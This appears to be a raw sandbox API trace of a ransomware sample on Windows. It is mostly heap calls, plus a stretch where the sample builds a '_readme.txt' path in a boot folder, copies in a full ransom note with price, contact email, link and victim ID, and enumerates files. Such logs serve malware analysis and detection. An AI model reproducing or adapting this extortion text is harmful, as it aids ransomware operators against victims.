0x3ad8058 [0124.220] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.220] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.220] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.220] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad8058 [0124.220] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.220] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.220] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.220] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.220] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.220] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.220] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.220] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.220] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.220] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.220] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.220] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.220] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.220] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.220] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.220] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.220] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.220] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.220] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.220] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.221] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.221] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.221] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.221] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.221] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.221] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.221] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.221] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.221] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.221] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.221] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.221] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad8058 [0124.221] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.221] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.221] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.221] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x34503e0 | out: hHeap=0x810000) returned 1 [0124.221] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.221] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad8058 [0124.221] PathFindFileNameW (pszPath="C:\\Boot\\fi-FI\\") returned="fi-FI\\" [0124.221] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.221] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0124.221] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0124.221] PathFindFileNameW (pszPath="") returned="" [0124.221] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503b8 [0124.221] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75bd0000 [0124.221] GetProcAddress (hModule=0x75bd0000, lpProcName="SHGetFolderPathW") returned 0x75c55708 [0124.221] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x800) returned 0x3ae1ff0 [0124.222] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3ae1ff0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0124.222] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x810) returned 0x3ae27f8 [0124.222] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x34503e0 [0124.222] FreeLibrary (hLibModule=0x75bd0000) returned 1 [0124.222] PathAppendW (in: pszPath="C:\\Boot\\fi-FI\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 1 [0124.222] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.222] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.222] PathFileExistsW (pszPath="C:\\Boot\\fi-FI\\_readme.txt") returned 0 [0124.222] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x7d00) returned 0x3ae3bf0 [0124.222] lstrcpyW (in: lpString1=0x3ae3bf0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d" [0124.222] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5d", lpString2="avGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-qZxIk8SQDp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nhelpmanager@mail.ch\r\n\r\nYour personal ID:\r\n0234yiuduy6S5davGpni7f14UBbIRyYlnZYQUnmHzNLy51za7KvIAK" [0124.222] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad9168 [0124.222] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\_readme.txt" (normalized: "c:\\boot\\fi-fi\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0124.222] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad9168 | out: hHeap=0x810000) returned 1 [0124.222] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae3bf0 | out: hHeap=0x810000) returned 1 [0124.222] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad8058 | out: hHeap=0x810000) returned 1 [0124.222] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.222] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName=".", cAlternateFileName="")) returned 0x3463848 [0124.223] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.223] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="..", cAlternateFileName="")) returned 1 [0124.223] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0124.223] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe836d95d, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c40, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0124.223] FindClose (in: hFindFile=0x3463848 | out: hFindFile=0x3463848) returned 1 [0124.223] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.223] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450228 | out: hHeap=0x810000) returned 1 [0124.223] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450228 [0124.223] PeekMessageW (in: lpMsg=0x3dcfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3dcfb74) returned 0 [0124.223] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.223] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.223] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.223] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.223] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.223] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.223] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.223] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.223] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.223] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.223] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.223] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.223] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.223] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.223] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.223] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.223] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.223] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.223] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.223] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.223] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.223] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.223] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.223] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.223] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.223] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.223] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.223] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.223] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.223] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.224] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.224] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.224] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.224] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.224] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.224] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.224] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.224] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.224] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.224] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.224] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.224] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.224] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.224] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.224] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.224] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.224] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.224] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.224] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.224] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.224] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.224] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.224] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.224] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.224] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.224] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.224] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.224] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.224] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.224] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x840) returned 0x3ad88e0 [0124.224] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.224] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.224] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.224] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.224] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.224] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.224] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.224] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.224] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.224] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.224] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.224] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.224] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.224] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.225] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.225] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.225] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.225] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.225] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.225] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.225] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.225] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.225] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.225] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.225] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.225] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.225] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.225] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.225] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.225] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.225] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.225] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x830) returned 0x3ad88e0 [0124.225] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc46) returned 0x3ae1ff0 [0124.225] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.225] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.225] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.225] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.225] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.225] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.225] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.225] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.225] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x820) returned 0x3ad88e0 [0124.225] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0xc2e) returned 0x3ae1ff0 [0124.225] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ad88e0 | out: hHeap=0x810000) returned 1 [0124.225] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.225] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.225] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x20) returned 0x3450390 [0124.225] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x0, Size=0x860) returned 0x3ae1ff0 [0124.225] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3ae1ff0 | out: hHeap=0x810000) returned 1 [0124.225] HeapFree (in: hHeap=0x810000, dwFlags=0x0, lpMem=0x3450390 | out: hHeap=0x810000) returned 1 [0124.225] RtlAllocateHeap 